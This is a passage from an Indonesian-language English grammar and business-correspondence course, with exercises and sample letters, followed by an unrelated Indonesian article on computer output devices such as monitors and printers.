terjadi pada waktu mendatang ataupun sekarang jika sayarta atau kondisi terpenuhu. Type 1 dibentuk oleh rangkaian simple present sebagai sub clause dan simple future sebagai main clause. If + Subject + Present + Subject 2 + will/can/may/must + Verb 1 Example: If you come with me for a joyride tonight, you will have a great fun. If you don’t have any money, you may borrow from me. You must study hard if you want to enter a favorite university. If we finish the assignment today, we can have a free time next week. Untuk menyatakan kebiasaan pola yang digunakan: If + Subject + Simple present tense …….. + Simple present tense …… Example: If the doctor has morning office hours, he visits his patients in this hospital in the afternoon. John usually walks to school if he has enough time. Untuk membuat kalimat perintah pola yang digunakan: If + Subject + Simple present tense ……….. + command form Example: If you go to the past office, please mail this letter for me. Don’t tell this problem to father if you care of me. 2. Present Conditional (Type2) Pengandaian yang digunakan untuk menyatakan sesuatu yang bertentangan dengan apa yang ada atau terjadi sekarang atau baru-baru ini. If + Subject 1 + Simple Past + Subject 2 + would/could/might + V1/be Example: If I had time, I would go to the beach with you this weekend. He would tell you about it if he were here. If I were you, I would start packing now. 3. Past Conditional (type 3) Pengandaian untuk menyatakan sesuatu yang bertentangan dengan apa yang telah terjadi yang sudah berlalu. IF + Subject 1 + Past Perfect + Subject 2 + would/could/might + have V3/been Example: If I had known you were there, I would have written you a letter. If you had asked me I would have told you the whole story. Exercise 1: 1. If I were offered the job, I _____________ (take) it. 2. I’m sure Tom will lend you some money. I would be surprised if he _________ (refuse) 3. Many people would be out of work if that factory _________ (close) down. 4. They are expecting us. They will be disappointed if we ____________ (not come). 5. Will Prabu be angry if I _________ (take) his bicycle without asking. 6. If I sell the car, she __________ (not get) much money for it. 7. Ann gave me this ring. She __________ (be) terribly upset if I lost it. 8. If someone ________ (walk) in here with a gun. I’d have been very frightened. 9. What would have happened if you _________ (not go) to work yesterday. 10. I’m sure she ________ (understand) if you had explained the situation to her. Exercise 2: 1. If all the students pass their examination, the teacher will give a party for them at his house. This means that _______ at the teacher’s house. a. there will possibly a party b. there has been a party c. there is no party d. there was a party e. there has to be a party 2. “Will you come to the meeting?” “if you come, I _____” a. come c. do e. too b. will d. am 3. If you use a city map, you ______ your way. a. are not losing d. have not lost b. will not lose e. would not lose c. did not lose 4. If you took the clothes to the laundry now, they __________ a. had washed d. will wash b. has been washed e. had passed c. will be washed 5. If he prepared his lessons, he _______ his examinations. a. passed d. would pass b. would have passed e. had passed c. would be passed 6. “Your drawing was very good.” “I could have done better if I _____ more time.” a. have had d. will have had b. had e. would have c. had had 7. He ___ if I had not reminded him. a. may forget d. may forget b. should forget c. might have forgotten e. must forget 8. If I _____ a. make a mistake, I’ll apologize b. made mistake, I’d apologize c. had made a mistake, I’d have apologized d. have made a mistake, I’d apologize 9. If you _____ I shall be very happy. a. weren’t going c. hadn’t gone e. didn’t go b. don’t go d. hadn’t been going 10. “I’m sure he will be successful in his job.” ‘Yes, _____” a. if he should work hard enough b. if he works hard enough c. if he worked hard enough d. if he work hard enough e. if he had worked hard enough 11. He _______ if I had not invited him a. may not come d. may not came b. should not come e. must not come c. might not have come 12. ‘Did you buy the computer?’ ‘No, but I would have if my father _____ a. had given me the money d. would have given the money b. would give me the money e. was giving me the money c. would have given the money 13. We would have lost our bag, if we _____ it in the hotel. a. left c. had left e. would have left b. have left d. would leave 14. I’ve finished cleaning the houses, but if Ratu had not helped me, I ______ it so quickly. a. could never have done d. can never do b. could never do e. can never have done c. have never done Chapter 9 Giving Advice and Suggestion Advice/Suggestion Respon Menerima Menolak Why don’t you see the doctor? Have you thought of seeing the doctor? It would be a good idea you see the doctor. Perhaps you should lie down. Perhaps you had better lie down. Perhaps you ought to lie down. Perhaps you had better not go to work today. Perhaps you shouldn’t go to work today You need to/ought to/should …… Make sure you ……… It’s best to …….. Yes, I will. oh, I don’t think it’s necessary Yes. may be I should. Yes, I suppose I should. Yes, I guess I should I guess not. Yes, I will. May be. I guess not. I don’t think so. Ok Oh no. All right. Oh no. Practice: These people here have got problems. In pairs, have short conversations giving them suggestions. 1. I haven’t got any money. 2. My job is boring. 3. I’m not feeling very well. I think I’ve got a cold. 4. My friend hasn’t returned my jacket. 5. I’m tired but there is a lot of work to do. 6. My English is bad. 7. I’m bored at home nothing to do. 8. I’m hungry, there isn’t any food to eat at home. 9. I want to be a secretary but my English is bad and I can’t type. 10. My computer doesn’t work well. Chapter 10 Business Letter 1. Sales Letter The following letters introduce products for sales. Useful Key Phrases • Are you having trouble ... • This is why it is important to have ... • At X, we have the skills and experience to ... • May we stop by and offer you a FREE estimate of how much it would cost to ... • If so, give us a call at X and set up and appointment with one of your friendly operators. Example Letter Document Makers 2398 Red Street Salem, MA 34588 March 10, 2001 Thomas R. Smith Drivers Co. 3489 Greene Ave. Olympia, WA 98502 Dear Mr. Smith, Are you having trouble getting your important documents formatted correctly? If you are like most business owners, you have trouble finding the time to economically produce good-looking documents. This is why it is important to have a specialist take care of your most important documents. At Documents Makers, we have the skills and experience to come in and help you make the best possible impression. May we stop by and offer you a FREE estimate of how much it would cost to get your documents looking great? If so, give us a call at and set up and appointment with one of your friendly operators. Sincerely, (signature here) Richard Brown President 2. Order Letter Letters dealing with orders and payments for merchandise form a bulk of business activity. As a result, serious thinking and care should be exercised in drafting these letters. A little carelessness may result in loss of the customers or good will. Therefore order letters should be exact cordial and tactful. They should be definite and complete that the reader may fell it exactly as the writer wishes. Any error or incompleteness may mean further corresponding shipping delays complicated billing repacking and loss of business. An order letter need not be preceded by an inquiry or offer. Information received from catalogue and advertisement also helps people and parties in placing and sale. It has great importance. Proper care should be taken in drafting of the order to ensure efficient handling and to eliminate all doubts resulting in loss of time and possibly of the market. The desired facts are as under: 1. Details about what you are ordering or reserving. 2. Directions for shipment. 3. Manner of payments. In both order and reservation messages, the main idea in the first paragraph we are reserving or ordering something. Our explanatory paragraphs give whatever details the order requires about quantity, color, style, size, price, payment, location, shipment data, place plus any specific instructions our reader might need. The last paragraph invites prompt shipment and dated action, if desired. Example Letters May 23, 1999 Mr. Jack Brown, Director Used Books Online Seattle, WA 98795 Dear Mr. Brown:, Would you please send me the following used computer books via COD? According to your Web site, orders need to include the title, author, and publisher. Title: "Using Computer" Author: Peter Lawford Publisher: Jackson and Co. Title: "Landscaping for Fun Computer Game" Author: Janet Patterson Publisher: Nature Ltd. Title: "Linux Myth" Author: Margaret Smith Publisher: Smoothers Thank you very much, (Signature here) Fred Finkleham, Professor, OUS Practice: 1. Prepare a sales letter for this following situation: Geoffrey’s a fine men’s clothing store located at 10 Arlington Street, Boston, Massachusetts 02116, is having its annul fall clearance sale. All summer and selected fall merchandise will be on sale with discounts up to 60% on some items. The sale will begin on September 10. Write a letter to be sent to all charge customers, inviting them to attend three presale days, September 7-9, during which they will find a full selection of sale merchandise before it is advertised to the public. Chapter 11 The Subjunctive Angan-angan, kenyataan yg bertentangan dengan apa yang sesungguhnya ada atau terjadi. 1. Wish a. Future Subject 1 + wish (that) + Subject 2 + could + V1 Would + V 1 Were + V ing Example: I wish you would stop saying that. We wish that you could come to the party tonight. b. Present Subject 1 + wish (that) + Subject 2 + V2/were Example: We wish that you were old enough to come with us. They wish they did not have to go to class today. Subject 1 + wish (that) + subject 2 + could have + V3 Had + V3 Example: I wish that you had come here yesterday. c. Past Subject 1 + wished (that) + subject 2 + had + V3 Could have + V3 Example: She wished that she had had more time last night. 2. As if/as though a. Present Subject 1 + Verb 1 + as if/as though + Subject 2 + Verb 2/were Example: The old lady dresses as if it were winter now even in summer. Bill has been working in this bookstore for years and now he acts as if he were the owner. b. Past Subject 1 + verb 2 + as if/as though + Subject 2 + had V3/been Example: Jeff looked as if he had seen a ghost. 3. Would rather a. Present Subject 1 + would rather + subject 2 +V2/were+ adverb of time Example: Ratu would rather it were winter now. b. Past Subject 1 + would rather + Subject 2 + had V3/been + adverb of time Example: Jim would rather that Jill had gone to class yesterday. Exercise 1: 1. We would rather ¬¬¬_____________ (stay) home tonight. 2. Mr. John would rather ___________ (stay) home last night. 3. The police would rather __________ (work) on Saturday than on Sunday. 4. Maria would rather ___________ (work) more than we do. 5. The photographer would rather that we _________ (stand) closer together than we are standing. 6. She would rather you ________ (not arrive) last night. 7. The old lady dresses as if it __________ (be) winter even in her summer. 8. She walks as though she _________ (study) modeling. 9. He looked as though he _________ (run) ten miles. 10. I wish they _______ (stop) making so much noise that I could concentrate. 11. Prabu wished that the editors __________ (permit) him to copy some of their material. 12. Joe wishes that he _________ (spend) his vacation on the Coast next year. 13. Because Rose did so poorly on the exam, she wishes that she __________ (study) harder last night. 14. Mrs. Wood always talks to her tenth-grade students as though they _______ (be) adult. 15. We wish that we _________ (have) time last night. Exercise 2: 1. He orders people around as if he were the owner of the restaurant. From the above statement we may conclude that _____ a. He has worked hard to own the restaurant. b. He has been the owner for years. c. He is very proud of his restaurant. d. He is just an ordinary employee. e. He is a successful businessman. 2. You look tired. Why don’t you take a rest? I wish ________ I still have to finish this report. a. I would be able b. I can c. I will be able d. I could e. I had been able 3. Tita, are you going to see the dentist this afternoon? I wish I didn’t have to. We may conclude that ______ to the dentist. a. She doesn’t have to go b. She needs to go c. She is not going this afternoon d. She is willing to go e. She has gone 4. Is Ratu still in New York? Yes, I wish she ________ here now to help me type the report. a. Is b. Will be c. Were d. Had been e. Would be 5. The music next door is very loud. I wish someone turned it down. the underlined sentence mean ¬¬¬¬________ a. I will turn the music down b. Someone turns the music down c. I ask someone to turn the music down d. I feel annoyed with the music next door e. Someone asks me to turn the music down 6. I am planning to go to the party tonight, but it’s raining very hard now. I wish _____ a. It stops b. It will stop c. It would stop d. It stopped e. It had stopped 7. I wish ______ now to watch our play. a. He is here b. He has been here c. He were here d. He be here e. He will be here 8. I wish you _______ tomorrow. a. Have gone b. Are going to go c. Will go d. Shall go e. Would go 9. Let’s go swimming! I wish I ______. We have a test tomorrow and still have to study. a. Am able b. Could be c. Could d. Will be able e. Be able to 10. I am sure he is not the man in charge of the sales department. But now, he ________ a. Acts as if he is the sales manager. b. Is acting as if he would be the sales manager. c. Would have acted as if he had been the sales manager. d. Would act as if he was the sales manager. e. Acts as if he were the sales manager. 11. I am sorry I can not go to the airport to see your mother off. I wish I _______ to work overtime tonight. a. Wouldn’t have b. Haven’t had c. Won’t have d. Hadn’t had e. Don’t have 12. She wishes she had not forgotten her promises. This means that _____ a. She tried not to forget her promise. b. She did not forget her promise. c. She forgot her promise. d. She would forget her promise. e. She could not forget her promise. 13. He orders people around as if he were the owner of the restaurant. From the above statement we may conclude that ________ a. He has worked hard to own the restaurant. b. He has been the owner for years. c. He is very proud of his restaurant. d. He is just an ordinary employee. e. He is a successful businessman. 14. I am sorry, I don’t know the answer, but I really wish I _______ a. Know b. Will know c. Knew d. Had known e. Have known 15. I wish you ________ to stay at home because I’m sure you would have enjoyed the concert very much. a. Didn’t have b. Hadn’t have c. Hadn’t d. Don’t have e. Haven’t had 16. If only his son had studied harder, means_______ a. His son did not study hard. b. His son has studied hard. c. His son has studied hard. d. His son will not study hard. e. His son never studies hard. 17. I wish I knew about electricity. The sentence means __________ a. Knew b. Knows c. Didn’t know d. Doesn’t know e. Has known 18. Mother said to our guest, “I wish you _____ leave now.” a. Didn’t have to b. Weren’t having to c. Haven’t got to d. Aren’t having to e. Won’t have to 19. She went to the blackboard as if she knew how to solve the problem. The underlined words mean_____ a. She actually couldn’t solve the problem. b. She ought to know how to solve the problem. c. She definitely knew how to solve the problem. d. She should know how to solve the problem. e. She succeeded in solving the problem. Chapter 12 Agreeing and Disagreeing Untuk menyatakan kesependapatan dan tidak sependapat. Agree - I agree with ……… - I think so. - It is certainly. - Exactly. - That’s what I want to say. - I am with you. - I am on your/his side. - I buy that idea. Disagree - I disagree with ……. - I wouldn’t say that. - I don’t think so - Exactly not. - I can’t say so. - On contrary. - I don’t buy that idea. Expression: Like Dislike Do you like travelling? yes, I love it. No, I don’t like it very much. yes, very much. No, I hate it. It’s all right. I’m keen on it. What do you think of the food? It’s very good. I don’t like it. It’s too hot. How do you like the food? I like it. it’s delicious. It’s not very good. it’s all right. It’s awful. It’s excellent. I think it is terrible. Practice this description with conversation or paragraph. 1. Imagine you are an accounting staff who faces the ‘PHK’ because of the economics crisis. Are you agree or disagree with this condition? Why? 2. Do you think that corruption is our culture? Why? 3. Is it ok that the celebrity to join the politic environment? Why? Chapter 13 Business Letter 1. Complaining The following letters make claims against unsatisfactory work. Useful Phrases • As someone who has worked with ... • we were very disappointed to find / see / have discovered ... • As our written agreement stipulated, we expected ... • I think you will agree that a communication problem exists. • We would like you to ..., or provide us with a refund. Example Letter Drivers Co. 3489 Greene Ave. Olympia, WA 98502 August 17, 2001 Richard Brown, President Document Makers Salem, MA 34588 Dear Mr. Brown, As someone who has worked with your company for over 3 years, we were very disappointed to see the accounting software you produced for our latest Drivers Co. publicity campaign. As our written agreement stipulated, we expected full efficient time with fancy explanatory instructions, but instead, we found that the software has problem with our company computers. I think you will agree that a communication problem exists. We would like you to send out a programmer or technician to provide us. Yours truly, (Signature here) Thomas R. Smith, Director 2. Adjustment Useful Key Phrases • I was very disappointed to read your letter of ... dealing with ... • As someone who values your business, I have already ... • Also, we will deduct another X percent of the bill for the misunderstanding. • Thank you for your patience. Example Letter Document Makers 2398 Red Street Salem, MA 34588 March 10, 2001 Thomas R. Smith Drivers Co. 3489 Greene Ave. Olympia, WA 98502 Dear Mr. Smith, I was very disappointed to read your letter of August 17 dealing with the issue of incorrectly produced publicity leaflets. As someone who values your business, I have already begun to find a solution to resolve this problem. My top photographer will call you to arrange an appointment at your earliest possible convenience to re-take photos in full color. Also, we will deduct another 15 percent of the bill for the misunderstanding. Thank you for your patience. Sincerely, (signature here) RichardBrown President Practice: 1. On October 7, the Kitchen Kormer, 47-03 Parkway Drive, St. Paul, Minnesota 55104, placed an order for two dozen poultry shears from the Northridge Cutlery Company, 2006 Yellow Circle, Minnentonka, Minnesota 55343. By November 30, the shears have still not arrived and there has been no letter from Northridge Cultery explaining the delay. Write the complain letter from Kitchen Kormer inquiring about the order. Emphasize these concerns: Did the order arrive? Why was neither an acknowledgment nor a stopgap letter sent? Will the shears arrive in time for pre-Christmas shopping? 2. Refer to the exercise no.1 write the letter from Northridge answering Kitchen Kormer’s complain. Explain the delay as caused by a strike of local truckers. Apologize to failing to notify the customer. Reading Comprehension A. RE: Check Cashing / Deposit Policies TO: All Staff Please follow these instructions when cashing or depositing checks from our students. • Check cashing by customers is limited to $500. • Two pieces of identification are required, one of which must be a valid driver's license. • All checks must be signed on the reverse side at the moment of presentation. • Out-of-state checks are only accepted from residents. • International checks may not be cashed. They must first be deposited and can be drawn on after a minimum of 14 days. • Direct bank deposits and formal reporting procedures are available. • Payments received must always be deposited intact. Never make disbursements from payments received. • Never send coin or currency through the mail. Bring it to Accounting Services and obtain a receipt from the cashier. Come before 2 o'clock, so that we can include it with that day's bank deposit. • Checks and money orders should be restrictively endorsed with these words as soon as you receive them: Smither Brothers Language School 15 Whitehead Street Olympia, WA 98501 Check Your Understanding • What is the limit on cashed checks? _____ • How many piece of identification are required? _____ • When must the checks be signed? _____ • In order to cash an out-of-state check what must you be? _____ • How long do students have to wait for international checks? _____ • What mustn't be sent through the mail? _____ Reading Comprehension B. Business Jargon Dialogue Tim: Hey, can I get a little facetime? Randall: Sure, let's dialogue. Tim: Great. I tried to ping you earlier, but you weren't in. Randall: Yeah, I had to handle some pushback on my proposal. Tim: Really, why was that? Randall: Well, I've come up with a number of synergies in the value chain. My value proposition was to seamlessly integrate our customer service reps. Tim: Sounds like a win-win. How long is the ramp-up? Randall: That's the problem. I projected a roll-out in two months. C-level people want to dial-in the project in two weeks. Tim: ...but you're proposing an end-to-end solution! Randall: Yeah, I know. I had the time-frame mapped out for all the deliverables, too. Tim: Sometimes you have to wonder about high-level management's capabilities to leverage people like you! Randall: You're much too kind! Anyway, what was it you wanted to talk to me about? Tim: Nothing much, I just wanted to give you a heads-up on some performance management issues I've been having with Pete. Randall: No room to breathe? Tim: You've got it .... Translation into easy (well, easier) English: Tim: Hey, do you have some time for me? Randall: Sure, let's talk. Tim: Great. I tried to contact you earlier, but you weren't in. Randall: Yeah, I had to manage some complaints about my idea for the company. Tim: Really, why was that? Randall: Well, I thought of a number of tasks that can complement each other in how we provide our service. My improvement idea was to include our customer service representatives our processes. Tim: That sounds like a good idea for everybody. How long will it take to put your plan into action? Randall: That's the problem. I think it will take two months to put into place. The directors want to put the project into action in two weeks. Tim: ...but you've suggested a complete solution to the problem! Randall: Yes, I know. I had developed a schedule for all of the improvements, too. Tim: Sometimes it's difficult to understand why upper management can't take advantage of people like you! Randall: You're much too kind! Anyway, what was it you wanted to talk to me about? Tim: Nothing much. I just wanted to tell you ahead of time about some problems I'm having with Pete trying to control everything I do. Randall: No room for your own efforts? Tim: That's right. Key Vocabulary facetime (noun)- time together to dialogue (verb) - to speak to ping (verb) - to contact someone pushback (noun) - to object to, complain about synergies (noun) - combinations in efforts that improve something value chain (noun) - the group of processes that provide something positive value proposition (noun) - the improvement idea seamlessly (adverb) - flowing smoothly to integrate (verb) - to include in a process win-win (noun, also used as an adjective) - successful outcome for everyone involved ramp-up (noun, also used as a verb) - time it takes to do something roll-out (noun, also used as a verb) - time it takes to do something C-level (adjective) - upper management, directors to dial-in (verb) - time it takes to do something end-to-end (adjective) - complete time-frame (noun) - amount of time needed to map out (verb) - to plan deliverables (noun) - specific improvements or products to be made to leverage (verb) - to take advantage of something heads-up (noun) - notice of something performance management (noun) - way of managing someone

Output Device Pada Perangkat Komputer Output Device Pada Perangkat Komputer Output device merupakan peralatan yang berfungsi untuk mengeluarkan hasil pemrosesan ataupun pengolahan data yang berasal dari CPU kedalam suatu media yang dapat dibaca oleh manusia ataupun dapat digunakan untuk penyimpanan data hasil proses. Hasil pemrosesan tersebut dapat digolongkan menjadi empat bentuk, yaitu tulisan (huruf,angka,simbol khusus), image (dalam betuk grafis atau gambar), suara, dan bentuk lain yang dapat dibaca oleh mesin (machine-readable form). Tiga golongan pertama adalah output yang dapat digunakan langsung oleh manusia, sedangkan golongan terakhir biasanya digunakan sebagai input untuk proses selanjutnya dari komputer. Jenis output device : 1) Hard copy device Alat yang digunakan untuk mencetak tulisan dan image pada media keras, misalnya kertas atau film. Hard copy device bersifat permanen dan lebih portabel (dapat dilepas dari alat outputnya dan dapat dibawa kemana-mana). Contoh : printer, plotter, dan alat mikrofilm. 2) Soft copy device Alat yang digunakan untuk menampilkan tulisan dan image pada media lunak yang berupa sinyal elektronik. Contoh : video display (monitor), flat panel, dan speaker. 3) Drive speaker atau driver Alat yang digunakan untuk merekam simbol dalam bentuk yang hanya dapat dibaca oleh mesin pada media, misalnya magnetic disk atau magnetic tape. Alat ini berfungsi ganda, yaitu sebagai alat output dan juga sebagai alat input. Drive device yang menggunakan media magnetic disk adalah disk drive, dan yang menggunakan media magnetic tape adalah tape drive. Berikut ini contoh beberapa output device yang sering digunakan pada seperangkat komputer. 1) Monitor Monitor adalah salah satu jenis soft copy device, karena keluarannya adalah berupa sinyal elektronik, dalam hal ini berupa gambar yang tampil di layar monitor. Gambar yang tampil adalah hasil pemrosesan data ataupun informasi masukan. Monitor memiliki berbagai ukuran layar seperti layaknya sebuah televisi. Tiap merek dan ukuran monitor memiliki tingkat resolusi yang berbeda. Resolusi ini lah yang akan menentukan ketajaman gambar yang dapat ditampilkan pada layar monitor. Jenis-jenis monitor saat ini sudah sangat beragam, mulai dari bentuk yang besar dengan layar cembung, sampai dengan bentuk yang tipis dengan layar datar (flat). Monitor berfungsi untuk menampilkan data dan informasi yang berguna bagi para pemakai komputer. Disamping itu, monitor juga berfungsi untuk melihat apakah data ataupun program yang akan dimasukkan ke dalam komputer sudah dalam keadaan benar atau belum. Jenis-jenis monitor • Cathode Ray Tube (CRT) Monitor CRT (Cathode Ray Tube) merupakan monitor konvensional dengan tabung sebagai media penyebaran electron yang berfungsi untuk menghasilkan warna atau gambar. Teknologi Tabung Brown (CRT Display) ditemukan pada tahun 1897, akan tetapi teknologi ini baru diadopsi sebagai penerima siaran televisi pada tahun 1926. Sejarah penemuan teknologi CRT sudah lebih dari 100 tahun dan memiliki kualitas gambar yang sangat bagus. Akan tetapi teknologi ini mempunyai satu kelemahan yaitu semakin besar display yang akan dibuat maka semakin besar pula tabung yang digunakan. Pada monitor CRT, layar penampil yang digunakan berupa tabung sinar katoda. Monitor CRT cenderung lebih murah dibandingkan jenis monitor lain, CRT juga memiliki sudut pandang (viewing angle) yang baik. Namun, monitor dengan tabung CRT ini memiliki banyak pengaruh buruk bagi kesehatan penggunanya. Sejumlah riset mengindikasikan bahwa ekspos berlebihan monitor pada mata dapat menyebabkan penurunan kualitas penglihatan. Hal ini disebabkan oleh radiasi sinar elektron pada tabung gambar monitor atau televisi tabung. Prinsip Kerja CRT Dalam tabung sinar katoda, elektron-elektron secara terarah, diarahkan menjadi pancaran elektron, dan pancaran elektron ini difokuskan dengan alat "defleksi yoke" oleh medan magnetik untuk diarahkan kearah posisi Horisontal dan Vertikal untuk men"scan" permukaan di ujung pandang (anode), yang sebaris dengan bahan berfosfor (biasanya berdasar atas logam transisi atau rare earth. Ketika elektron menyentuh ma terial pada layar ini, maka elektron akan menyebabkan timbulnya cahaya. Untuk keperluan layar CRT ini supaya fosfor berpendar atau bercahaya diperlukan tegangan tinggi yaitu sekitar 25 Kilo Volt sampai 27 Kilo Volt dibangkitkan oleh alat yang bernama Flayback. Sebelum elektron ini menyentuh fosfor, dilayar tabung kaca elektron-elektron itu menembus pelat yang sangat tipis yang berlubang-lubang disebut skrin yang hampir sama luasnya dengan lebar layar tabung untuk memfokuskan tiga bintik warna RGB ( Red, Green, Blue ) untuk tabung layar warna. Pelat logam ini sangat tipis dan peka terhadap mangnit, jika magnet kuat akan merubah bentuk pelat ini sehingga tidak rata dan terjadilah warna yang semburat dan acak kerena tembakan elektron tidak terfokus pada ketiga titik bintik-bintik RGB, dan kejadian ini disebut degausing. • Liquid Crystal Display (LCD) Monitor LCD adalah suatu jenis media tampilan yang menggunakan kristal cair sebagai penampil utama. LCD sudah digunakan di berbagai bidang misalnya dalam alat-alat elektronik seperti televisi, kalkulator ataupun layar komputer. Kini LCD mendominasi jenis tampilan untuk komputer meja maupun notebook karena membutuhkan daya listrik yang rendah, bentuknya tipis, mengeluarkan sedikit panas, dan memiliki resolusi tinggi. LCD memiliki karakter bright yang nyaman dimata serta bebas distorsi, tidak bergantung pada refreshrate, user frendly, hemat listrik, ukuran yang ringkas, ringan serta tampilan yang lebih menarik. Namun, LCD juga memiliki kekurangan seperti viewing angle terbatas, tampilan gambar baik hanya di resolusi native-nya, response time dan ghosting, warna kurang akurat, harga lebih mahal. Prinsip Kerja LCD Secara Sederhana LCD (Liquid Crystal Display) terdiri dari dua bagian utama. yaitu Backlight dan kristal cair. Backlight sendiri adalah sumber cahaya LCD yang biasanya terdiri dari 1 sampai 4 buah (berteknologi seperti) lampu neon. Lampu Backlight ini berwarna putih. Lalu bagaimana caranya LCD bisa menampilkan banyak warna ? Disinilah peran dari kristal cair. Kristal cair akan menyaring cahaya backlight. Cahaya putih merupakan susunan dari beberapa ratus cahaya dengan warna yang berbeda (jika anda masih ingat Pelajaran Fisika). Beberapa ratus cahaya tersebut akan terlihat jika cahaya putih mengalami refleksi atau perubahan arah sinar. Warna yang akan dihasilkan tergantung pada sudut refleksi. Jadi jika beda sudut refleksi maka beda pula warna yang dihasilkan. Dengan memberikan tegangan listrik dengan nilai tertentu. Kristal cair dapat berubah sudutnya. Dan karena tugas kristal cair adalah untuk merefleksikan cahaya dari backlight maka cahaya backlight yang sebelumnya putih bisa berubah menjadi banyak warna. Kristal cair bekerja seperti tirai jendela. Jika ingin menampilkan warna putih kristal cair akan membuka selebar-lebarnya sehingga cahaya backlight yang berwarna putih akan tampil di layar. Namun Jika ingin menampilkan warna hitam. Kristal Cair akan menutup serapat-rapatnya sehingga tidak ada cahaya backlight yang yang menembus (sehingga di layar akan tampil warna hitam). Jika ingin menampilkan warna lainnya tinggal atur sudut refleksi kristal cair. Contrast Ratio adalah perbandingan tingkat terang (brightness) pada posisi paling putih dan paling hitam. Pada waktu kristal cair menutup serapat-rapatnya untuk menghasilkan warna hitam seharusnya tidak ada cahaya backlight yang menembusnya. Namun kenyataannya masih ada cahaya backlight yang bisa menembus kristal cair sehingga tidak bisa menampilkan warna hitam dengan baik. Inilah salah satu kekurangan LCD. Jadi semakin besar Contrast Ratio maka semakin bagus pula LCD dalam menampilkan warna. cara paling mudah untuk mengetahui seberapa bagus Contrast Ratio LCD adalah dengan menampilkan warna hitam di layar. Jika warna hitam tersebut cenderung abu-abu maka masih ada sedikit cahaya backlight yang berhasil menembus kristal cair. Kristal cair pada LCD bekerja dengan cara membuka dan menutup layaknya tirai. Proses buka tutup ini berlangsung sangat cepat (mengikuti pergerakan gambar di layar). Karena itulah ada istilah Response Time di LCD. Response Time adalah waktu yang diperlukan untuk berubah dari posisi kristal cair tertutup rapat (waktu menampilkan warna hitam) ke posisi kristal cair terbuka lebar (waktu menampilkan warna putih). Jadi semakin cepat response time maka semakin baik. Response Time yang lambat akan menimbulkan cacat gambar yang disebut ghosting atau jejak gambar. Biasanya pada objek yang bergerak cepat dan menimbulkan jejak gambar seperti beberapa bujur sangkar yang terlihat seperti persegi. • Organic Light Emitting Diode (OLED) OLED adalah sebuah semikonduktor sebagai pemancar cahaya yang terbuat dari lapisan organik. OLED digunakan dalam teknologi elektroluminensi, seperti pada aplikasi tampilan layar atau sensor. Teknologi ini terkenal fleksibel dengan ketipisannya yang mencapai kurang dari 1 mm. OLED merupakan piranti penting dalam teknologi elektroluminensi. Teknologi tersebut memiliki dasar konsep pancaran cahaya yang dihasilkan oleh piranti akibat adanya medan listrik yang diberikan. Teknologi OLED dikembangkan untuk memperoleh tampilan yang luas, fleksibel, murah dan dapat digunakan sebagai layar yang efisien untuk berbagai keperluan layar tampilan. Jumlah warna dari cahaya yang dipancarkan oleh piranti OLED berkembang dari satu warna menjadi multi warna Fenomena ini diperoleh dengan membuat variasi tegangan listrik yang diberikan kepada piranti OLED sehingga piranti tersebut memiliki prospek untuk menjadi piranti alternatif seperti teknologi tampilan layar datar berdasarkan kristal cair. Monitor jenis ini menggabungkan teknologi CRT dengan LCD. Dengan teknologi yang dihasilkan, mampu membuat layar dengan ketipisan menyerupai LCD dan sudut pandang yang dapat selebar CRT. Monitor OLED juga menggunakan fosfor seperti halnya pada teknologi CRT, tetapi layar pada OLED dapat perpendar tanpa adanya bantuan cahaya di belakang layar. Hal itu akan membuat energi yang diserap tidak sebesar monitor CRT. Kontras warna yang dihasilkan pun lebih baik dari LCD. Keuntungan dari monitor OLED ini adalah kualitas warna yang lebih baik, lebih hemat listrik dibandingkan monitor LCD pada ukuran yang sama, bebas merkuri dan desain yang sangat tipis. Kekurangannya, harganya lebih mahal dari monitor LCD, sehingga sulit dijangkau oleh masyarakat umum. Prinsip Kerja OLED Mekanisme kerja OLED yaitu jika pada elektroda diberikan medan listrik, fungsi kerja katoda akan turun dan membuat elektron-elektron bergerak dari katoda menuju pita konduksi di lapisan organik. Keadaan ini mengakibatkan munculnya lubang (hole) di pita valensi. Anoda akan mendorong lubang untuk bergerak menuju pita valensi bahan organik. Keadaan ini mengakibatkan terjadinya proses rekombinasi elektron dan lubang di dalam lapisan organik dimana elektron akan turun dan bersatu dengan lubang lalu memberikan kelebihan energi dalam bentuk foton cahaya dengan panjang gelombang tertentu. Pada akhirnya akan diperoleh satu jenis pancaran cahaya dengan panjang gelombang tertentu bergantung pada jenis bahan pemancar cahaya yang digunakan. • Plasma Plasma adalah sebuah layar datar emisif di mana cahaya dihasilkan oleh fosfor yang tereksitasi oleh sebuah pelepasan muatan plasma antara dua layar datar gelas. Gas yang dilepas muatannya tidak mengandung merkuri (berlawanan dengan AMLCD), tetapi menggunakan sebuah campuran gas mulia (neon dan xenon). Campuran gas ini sulit bereaksi dan sama sekali tidak berbahaya. Plasma mempunyai reproduksi warna yang sangat baik, kontras warna yang baik, dan memiliki resolusi yang tinggi. Tetapi, karena teknologi yang digunakan, monitor plasma sangat mudah panas. Malah di beberapa kasus, bila suhu ruangan tempat ia diletakkan tidak stabil, bisa juga meledak. Monitor jenis ini rentan dengan noise (gangguan pada gambar), seperti efek gosong di gambar, smearing (tertinggalnya sinyal gambar di layar), juga color binding (lambatnya perubahan warna pada adegan-adegan cepat). Prinsip Kerja Plasma Mekanisme kerja Plasma Monitor yaitu dengan menggunakan cahay a yang dipancarkan dari pelepasan Plasma. Untuk menghasilkan hal tersebut di lakukan penyekatan dari sebuah pencampuran gas diantara dua lembar kaca yang membawa elektroda pada interiornya. Selanjutnya diaplikasikan fosfor R,G dan B pada permukaan plat tadi ketika voltase listrik dilewatkan diantara elektroda, maka dihasilkan sinar ultraviolet yang merangsang fosfor untuk memancarkan cahaya dan menciptakan gambar di layar. 2) Printer Printer merupakan media output dari komputer yang bisa menghasilkan tulisan, gambar ataupun grafik didalam media kertas. Printer termasuk jenis hard copy device, karena keluaran hasil proses dicetak di atas kertas. Printer memiliki berbagai macam bentuk dan ukuran, serta ketajaman hasil cetak. Ukuran kertas yang dapat digunakan pun beragam. Jenis-jenis printer • Daisy Wheel Printer Printer jenis ini menggunakan kumpulan huruf yang tersusun dalam sebuah piringan. Oleh pemakai, piringan ini bisa diganti-ganti sesuai dengan jenis huruf yang diinginkan. Cara bekerjanya relatif sangat lambat serta tidak lebih cepat dari mesin ketik listrik. Walaupun begitu, kualitas huruf yang ditampilkan sangatlah bagus. Kelemahan lainnya adalah, printer jenis ini tidak bisa digunakan untuk mencetak gambar ataupun grafik. Pada saat mencetak, mekanisme dari printer akan memutar piringan sehingga posisi huruf yang dibutuhkan bisa tepat pada tempat yang dibutuhkan. Pada posisi seperti itu, hammer (palu/pemukul) akan 